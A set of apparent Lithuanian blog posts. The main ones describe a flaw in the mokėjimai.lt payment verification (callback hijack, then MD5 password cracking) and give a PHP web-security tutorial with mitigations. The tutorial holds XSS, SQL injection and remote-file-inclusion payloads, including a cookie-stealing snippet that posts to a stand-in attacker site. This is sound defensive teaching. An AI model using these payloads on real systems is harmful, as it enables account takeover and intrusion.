Norint Internete vystyti verslą, kuomet reikia realizuoti mokėjimus Internete, yra 2 galimybės: sudaryti su keliais bankais sutartis, arba rinktis tarpininką. Pirmasis variantas yra gana komplikuotas ir brangus: sutartys su bankais ir mėnesiniai mokesčiai yra dideli, be to, techninė realizacija reikalauja specifinių technių žinių, kai kurie bankai reikalauja ir SSL sertifikato. Kitas, daugeliu atveju paprastesnis variantas yra rinktis tarpininką, kuris turi vieningą interfeisą visiems mokėjimų tipams, o kainą, ypač smulkesniam projektui, gali pasiūlyti itin konkurencingą. Vienas populiariausių tokių servisų Lietuvoje - mokėjimai.lt.

EVP, sukūrę mokėjimai.lt, eparasas.lt, manoid.lt ir kitus projektus, eina teisinga kryptimi, tačiau kai kurie požymiai rodo, jog gražiame įpakavime galima rasti neaišku ką... Vien jų OpenID implementacija, kuomet priimami tik manoid.lt vartotojai, rodo, jog jie nesupranta ir nepalaiko šios sistemos. Kai kurių sistemų siunčiama "User Agent" reikšmė yra "IDAMAS XML Sender", kas irgi rodo, jog kai kurių produktų kūrimu užsiima ne jie. Tiesiog outsource'ingas ar per mažas žinių ir patirties bagažas?

Grįžtant prie mokėjimai.lt, Diegiant ją į savo sistemą, vadovautis jų pateikta specifikacija nepavyks, kadangi ji... neteisinga! Funkcija, kuri turėtų patikrinti, ar mokėjimas teisingas, lietuviškoje ir angliškoje specifikacijos versijoje aprašytos skirtingai.

Lietuviškasis variantas:

//DĖMESIO: Nepamirškite funkcijoje įrašyti savo www.mokejimai.lt slaptažodį.
$your_pass = 'slaptazodis'; //irasome slaptazodi is jusu mokejimai.lt sistemos
$test_mode = 1; //1- kuomet testuojate. 0 - kuomet jau veikia sistema tikru rezimu.
if( mk_check ( $your_pass, $_REQUEST['orderid'],$_REQUEST['merchantid'] ) != $_REQUEST['_ss1'] || $_REQUEST['test'] <> $test_mode){
    die ("šaltinis netikras"); 
} 

function mk_check ( $password, $id, $mechant_id ) {
    return md5("{$password}|{$id}|{$_SERVER['REMOTE_ADDR']}|{$mechant_id}");
}

Tuo tarpu angliškas (webtopay.com) variantas:

    $your_webtopay_pass = md5("mypassword"); // please, enter your webtopay.com password
    if ( TestTransaction( $_GET['_ss1'], $your_webtopay_pass, $_GET['orderid'] ) ){ //verification of information source.
        //Everything is OK
    }else{
        //Something is wrong
    }

    function TestTransaction( $transaction, $userPassword, $ordeID, $test = 0, $status = 1 ){
        return ( $transaction == md5("{$userPassword}|{$ordeID}|{$test}|{$status}") );
    }

Kodai akivaizdžiai skiriasi, tačiau, nors angliškasis variantas arčiausiai tiesos, testiniame režime kintamasis $test vistiek bus lygus 0, ir md5 hash'ai nesutaps.

Tiesa, jie visus duomenis pasirašo viešojo rakto principu naudodami SSL sertifikatą, todėl yra ir kitas būdas patikrinti duomenų validumą.

Žiūrint į šią funkciją galima pastebėti vieną dalyką: žinant GET perduodamus duomenis (orderid ir _ss1) galime ir sužinoti prisijungimo prie mokėjimai.lt sistemos slaptažodį. Tai tik teorinė prielaida, tačiau ji turėtų suveikti. Kas nors galbūt ją ir patiktins ;)

Mokėjimo sistemos veikimo schema yra tokia:

1. Vartotojas formos duomenis (čia turime Order ID) perduoda mokėjimai.lt sistemai

2. Vartotojas nukreipiamas į banką ir ten sumoka pinigėlius. Grįžta į mokėjimai.lt

3. Siunčiama užklausa (su _ss1) kliento sistemai. Klientas pasižymi, kad už jo paslaugas ar prekes buvo apmokėta.

4. Vartotojas grąžinamas pas klientą

Viskas, ką reikia padaryti, kad gauti _ss1 reikšmę, yra pakeisti callback URL (duomenys juk nepasirašomi) kliento puslapyje (tam gali pasitarnauti ir Firebug). Tada 3 punkto užklausa bus siunčiama ne klientui, o ten, kur jūs pageidausite. Štai čia ir sužinosime _ss1 reikšmę.

O toliau elementarus brute-force, arba paieška iš rainbow table (juk jokia druskelė neįmaišoma į MD5 algoritmą).

Ir štai - turime vartotojo slaptažodį, kuriuo prisijungsime prie mokėjimai.lt sistemos.

Apie mokėjimai.lt saugumą taip pat rašė Steponas Kazakevičius.

Nuo 2009 metų sausio išduodamose naujose asmens tapatybės kortelėse yra įmontuoti lustai, kuriuose įrašyti skaitmeniniai sertifikatai. Šios priemonės leis vartotojui identifikuoti save elektroninėje erdvėje. Vartotojų identifikavimui pasirinktas atviras OpenID protokolas, o OpenID tiekėjo serveris, panašu, jau veikiantis.

Iniciatyva sveikintina, o žinant, jog Estijoje ji jau veikia, reikia tikėtis, jog pasiteisins ir Lietuvoje.

Prisijungimas vyksta specialiu įrenginiu nuskaitant asmens tapatybės kortelėje esantį skaitmeninį sertifikatą ir įvedant slaptažodį, taip užtikrinant tikrą asmens tapatybę.

Ką gi visa tai reiškia?

1. Pagaliau turėsime valstybiniu lygiu pripažintą technologiją, leidžiančią naudoti skaitmeninį parašą. Nebereikės būti prisirišus prie komercinių e-parašo tiekėjų. Ir galėsime e-parašu naudotis kiekvienas.
2. Prisijungti prie valstybinių institucijų galėsime naudodamiesi vien savo asmens identifikavimo kortele. Dabar norint internetu pildyti deklaraciją, peržiūrėti SoDRos duomenis ar naudotis bet kuria kita valstybine e-paslauga, būtina turėti sąskaitą banke ir e-bankininkystės sutartį. Dabar to nebereikės - patvirtinti savo tapatybę nebereiks tarpinio žingsnio - komercinio nevalstybinio banko.
3. Interneto tinklalapiai, naudojantys OpenID vartotojų autentifikacijai, galės gauti tikslius vartotojo duomenis: vardą, pavardę, gimimo datą etc. Taip bus atveriamos papildomos galimybės e-komercijai bei kitoms elektroninėje erdvėje teikiamoms paslaugoms, kurioms reikia patvirtinti vartotojo tapatybę.
4. Atvirų pasauliniu lygiu pripažintų standartų adaptavimas rodo, jog Lietuva neatsilieka nuo pasaulinių tendencijų.

Informacijos šaltiniai:

• Gyventojų registro tarnyba prie LR VRM.
• Mano kolegos Audriaus - openid.lt autoriaus - žinutė (ko gero iš OpenID Europe):

Šiame straipsnyje aprašomos tinklalapių saugumo skylės, pateikiant jų panaudojimo pavyzdžius bei apsisaugojimo būdus. Aptariamos šios atakos:

• XSS (Cross-site scripting)
• UTF-7 XSS
• Cookie/session hijacking
• CSRF (Cross-site request forgery)
• Code injection: Directory traversal/Remote file inclusion
• Malicious file upload
• HTTP Redirect išnaudojimas
• SQL injection.

Pavyzdžiai pateikiami PHP programavimo kalba.

Ataka: XSS (Cross-site scripting)

Kaip vykdoma ataka

Ataka vykdoma tuo atveju, kai pagal vartotojo įvestus duomenis formuojamas puslapio turinys (pvz.: rašant komentarus, pasisakymus, netikrinami duomenys vartotojo varduose, pavardėse, atliekant paiešką ir pan.).
Tinklalapis yra pažeidžiamas tuo atveju, kai rodant vartotojo duomenis galima įvykdyti Javascript kodą.
Pavyzdžiui, atliekant įrašą tinklalapio svečių knygoje įvedamas tekstas: <script>alert('You\'ve been hacked!')</script>
Analogiškas tekstas bus rodomas formuojant HTML turinį, tuo pačiu įvykdant ir kodą.
Analogiška situacija yra vykdant paiešką ir, pavyzdžiui, ieškant teksto su HTML tag'ais. Jei paieškos rezultate parodoma ieškota frazė su visu HTML'u tokį puslapį galima panaudoti perimant vartotojo slapuką ir sesiją (cookie/session hijacking).
Leidžiant įvesti kai kuriuos HTML elementus (pvz.: IMG, A, B, I...) galima pridėti atributą (pvz.: onmouseover) ir įvykdyti Javascript kodą.

Kaip apsisaugoti nuo atakos

Paprasčiausias metodas - neleisti apskritai įvesti HTML kodo, o vietose, kur rodomas vartotojo įvestas tekstas, jį strip'int naudojant strip_tags() ar htmlspecialchars().
Jei sistemoje yra leidžiama įvesti kai kuriuos HTML elementus, būtina išvalyti Javascript event'ų atributus (prasidedančius "on..."). Tam galima naudoti išorinę programą "Tidy" arba naudoti reguliarias išraiškas.
Plačiau Wikipedijoje: http://en.wikipedia.org/wiki/Cross-site_scripting

Ataka: UTF-7 XSS

Kaip vykdoma ataka

Ataka vykdoma pasinaudojant naršyklės savybe "nuspėti" naudojamą simbolių rinkinį.
UTF-7 leidžia bet kokį simbolį išreikšti ASCII simboliais, o naršyklė bandydama nuspėti, kokia koduotė naudojama, UTF-7 užkoduotus simbolius gali paversti į reprezentuojamus simbolius, kurie leidžia įvykdyti ataką.
Pavyzdžiui, UTF-7 koduotėje simbolis < žymimas +ADw, o simbolis > +AD4. Tokiu atveju formuojant antraštę (TITLE) iš simbolių:
+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
bus gaunamas realus vaizdas:
<script>alert(document.location)</script>
Tai suteikia galimybę įvykdyti Javascript kodą.

Kaip apsisaugoti nuo atakos

Visada siųsti koduotės nustatymus prie HTTP antraštės, pvz.:
header('Content-type: text/html; charset=UTF-8');
Prieš bet kokį dinamiškai formuojamą tekstą (pvz.: TITLE elementą), įrašyti koduotę nustatančią eilutę, pvz.:
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
Plačiau: http://openmya.hacker.jp/hasegawa/security/utf7cs.html

Ataka: Cookie/session hijacking

Kaip vykdoma ataka

Ataka remiasi tinklalapio XSS pažeidžiamumu. Jos esmė - naudojant išorinį elementą gauti vartotojo slapuką, kuriame įrašytas sesijos ID.
Pavyzdžiui, įterpus elementą:
<div onmouseover="document.getElementById('a').innerHTML='<img src=http://kenkejiskas-saitas.com/vagiam-cookie.php?'+document.cookie+' width=0 height=0/>'" style="height: 100px"></div>
<div id="a" />
Užvedus pelyte ant pirmojo bloko, bus įvykdomas Javascript kodas, kuris užkraus skriptą ir perduos jam visus slapukų duomenis (pastarieji gali būti išsiunčiami el. paštu ar kitaip perduodami), kartu ir sesijos ID. Piktavaliui užtenka pačiam įdėti slapuką su sesijos duomenimis ir jis jau bus prisijungęs prie sistemos kaip kitas vartotojas.
Sesijos ID gali būti perimamas ir tuo atveju, jei vartotojo naršyklė nepalaiko slapukų. Tokiu atveju PHP automatiškai prideda sesijos ID prie kiekvienos nuorodos ir kaip HIDDEN lauką formose.

Kaip apsisaugoti nuo atakos

Vartotojui prisijungiant, reikia išsaugoti IP adresą, iš kurio vartotojas jungiasi. PHP $_SERVER masyve IP adresą reprezentuoja REMOTE_ADDR ir HTTP_X_FORWARDED_FOR (jei naudojamasi Proxy serveriu) elementai.
Kaskart atliekant užklausą į serverį reikia patikrinti, ar užklausa įvykdoma iš to paties IP (bei IP forwarded) adreso. Jei reikšmės nesutampa, neleidžiama atlikti jokio veiksmo, o sesija panaikinama.
Plačiau Wikipedijoje: http://en.wikipedia.org/wiki/Session_fixation, http://en.wikipedia.org/wiki/Session_hijacking, http://en.wikipedia.org/wiki/Session_poisoning, http://en.wikipedia.org/wiki/Cross-site_cooking

Ataka: CSRF (Cross-site request forgery)

Kaip vykdoma ataka

Tarkime, žinoma, jog vartotojas yra prisijungęs prie kažkokio interneto tinklalapio.
Taipogi žinoma, kokia nuoroda kokį veiksmą atlieka. Pagal turimas žinias suformuojama nuoroda, kuri atlieka atitinkamą veiksmą ir nematomai patalpinama kažkokiama tinklalapyje. Pavyzdžiui:
<img src="http://www.bankas.com/pervesti-pinigus?i-saskaita=1234&amp;suma=1000Lt" />
Tuomet vartotojui pasiūloma apsilankyti kenkėjišką kodą turinčiame tinklalapyje. Ir vartotojui nepastebint, įvykdomas atitinkamas veiksmas.
POST metodas negelbsi, kadangi kenkėjiškame puslapyje gali būti ir automatiškai įvykdoma forma, ir IFRAME elementas. Tikrinti HTTP_REFERER taipogi neefektyvu, kadangi šiuos duomenis galima suklastoti.

Kaip apsisaugoti nuo atakos

Efektyvus sprendimas yra kiekvienam veiksmui generuoti atsitiktinę simbolių seką (žetonus - token'us), kuri, vykdant nuorodą, patikrinama. Tokiu atveju saugi nuoroda atrodytų taip: http://www.bankas.com/pervesti-pinigus?i-saskaita=1234&suma=1000Lt&token=Jdf1S19cQ, kurios paskutinis elementas kaskart būtų skirtingas. Analogiškai token'ai turėtų būti įterpiami į formas HIDDEN laukų pavidalu.
Plačiau Wikipedijoje: http://en.wikipedia.org/wiki/Cross-site_request_forgery

Ataka: Code injection: Directory traversal/Remote file inclusion

Kaip vykdoma ataka

Ataką galima įvykdyti, kai sisteminiuose failuose atidaromi ar iškviečiami failai, kurių pavadinimas generuojamas iš vartotojo įvedamų duomenų.
Pavyzdžiui, URL: http://www.example.com/modulis=straipsnis
PHP skriptas:
include($_GET['modulis'].'.php');
Tokiu atveju URL pakeitus į http://www.example.com/modulis=http://www.kenkejiskas-puslapis.com/kenkejiskas-kodas
bus įvykdomas skriptas iš http://www.kenkejiskas-puslapis.com/kenkejiskas-kodas.php
Analogiškai galima iškviesti bet kokią programą ar įtraukti bet kokį failą, esantį tame pačiame serveryje (pavyzdžiui, iškviečiant /etc/passwd)
Taip pat galima užkrėsti ir vartotojo slapukus, todėl negalima aklai pasitikėti ir juose saugomų duomenų tikrumu.

Kaip apsisaugoti nuo atakos

Išvalyti vartoto įvestus duomenis, paliekant TIK simbolius, esančius range [A-Za-z0-9_-]. Taip pat patikrinti, ar vartotojui leidžiama iškviesti atitinkamą kodą. Pavyzdžiui:
$moduliai = array('straipsnis', 'naujiena');
if(in_array($_GET['modulis'], $moduliai))
    echo 'OK';
else
    exit('Toks modulis neegzistuoja');
Plačiau Wikipedijoje: http://en.wikipedia.org/wiki/Code_injection, http://en.wikipedia.org/wiki/Directory_traversal, http://en.wikipedia.org/wiki/Remote_File_Inclusion

Ataka: Malicious file upload

Kaip vykdoma ataka

Naudojantis failo įkėlimo forma, įkeliamas skriptas, kuris įvykdomas per naršyklę. Toks skriptas sistemoje gali atlikti bet kokį darbą - nuo failų bei duomenų bazės informacijos nuskaitymo, įrašymo, modifikavimo iki visiško sunaikinimo.

Kaip apsisaugoti nuo atakos

Visada tikrinti įkeliamo failo MIME tipą ir leisti įkelti tik patikimus failų formatus.
Taip pat naudojant trečių šalių aplikacijas (pvz.: WYSIWYG redaktorius) pašalinti DEMO puslapius, kurie leidžia neribotai naudotis sistema. Vertėtų pasirūpinti, kad neprisijungusiems vartotojams nebūtų galima naudotis trečių šalių programomis (tam gali tekti modifikuoti pačią sistemą ir nepamiršti to atnaujinant sistemą į naujesnę versiją).

Ataka: HTTP Redirect išnaudojimas

Kaip vykdoma ataka

Siunčiant HTTP header'į "Location", naršyklė atveria nurodytą tinklalapį, vartotojui nerodydama HTML kodo, net jei jis perduodamas.
Visgi, jei HTML kodas yra perduodamas, jį galima gauti naudojant CURL biblioteką, taip gaunant papildomos informacijos (paprastam vartotojui nematomas nuorodas, tekstą ir pan.), kas gali palengvinti įsilaužimą į sistemą.

Kaip apsisaugoti nuo atakos

Po kiekvieno HTTP redirect'o, naudojant header('Location: ...'); baigti skripto vykdymą su exit();

Ataka: SQL injection

Kaip vykdoma ataka

Formuojant SQL užklausą dažnai tenka į ją įtraukti duomenis, kuriuos perduoda vartotojas.
Pavyzdžiui, kviečiant užklausą http://example.com/getUserData.php?user=59 turi būti formuojama tokia SQL užklausa:
SELECT * FROM users WHERE id=59
Tiesiogiai paimant duomenis su PHP eilutė atrodytų taip:
$result = mysql_query('SELECT * FROM users WHERE id='.$_GET['id']);
Vietoje parametro "id" perduodant kenksmingą kodą galima suformuoti bet kokią užklausą, pvz.:
http://example.com/getUserData.php?user=59 OR 1=1 - bus sugeneruota užklausa, kuri gražins visus įrašus iš duomenų lentelės.
Panaudojant SQL injection atakas galima ne tik gauti, bet ir modifikuoti duomenis bei nuskaityti duomenis, esančius failuose.

Kaip apsisaugoti nuo atakos

Tam, kad apsisaugoti nuo šio tipo atakų, reikia patikrinti kiekvieną argumentą, perdudodamą SQL užklausai.
Galima naudoti PHP funkciją mysql_real_escape_string(), o skaitinėms reikšmėms patikrinti, ar tai tikrai skaičius, naudojant is_numeric() arba typecast'inant kintamąjį į skaičių, naudojant settype() arba (int)$kintamasis;
Plačiau Wikipedijoje: http://en.wikipedia.org/wiki/SQL_injection

Gerbiami vairuotojai, noriu priminti, kad žmones reikia vežti automobilio salone (vaikus - pageidautina specialiose kėdutėse), o ne bagažinėse.

Turbūt sunku važiuojant autostrada A2 į Vilnių nepastebėti šios reklamos. Didelė, atkreipianti dėmesį...

Bet mane jau juodai užkniso vairuotojai ir, ypač, vairuotojos ir taip pakankamai daug kalbantys telefonu už vairo.

Jei tik kelyje koks nors automobilis "daro nesąmones", itin didelė tikimybė, jog už jo vairo sėdi telefonu kalbanti moteriškė, o tokios reklamos - puiki priemonė tokių "belekaip" važinėjančių automobilių skaičiaus augimui skatinti. Super!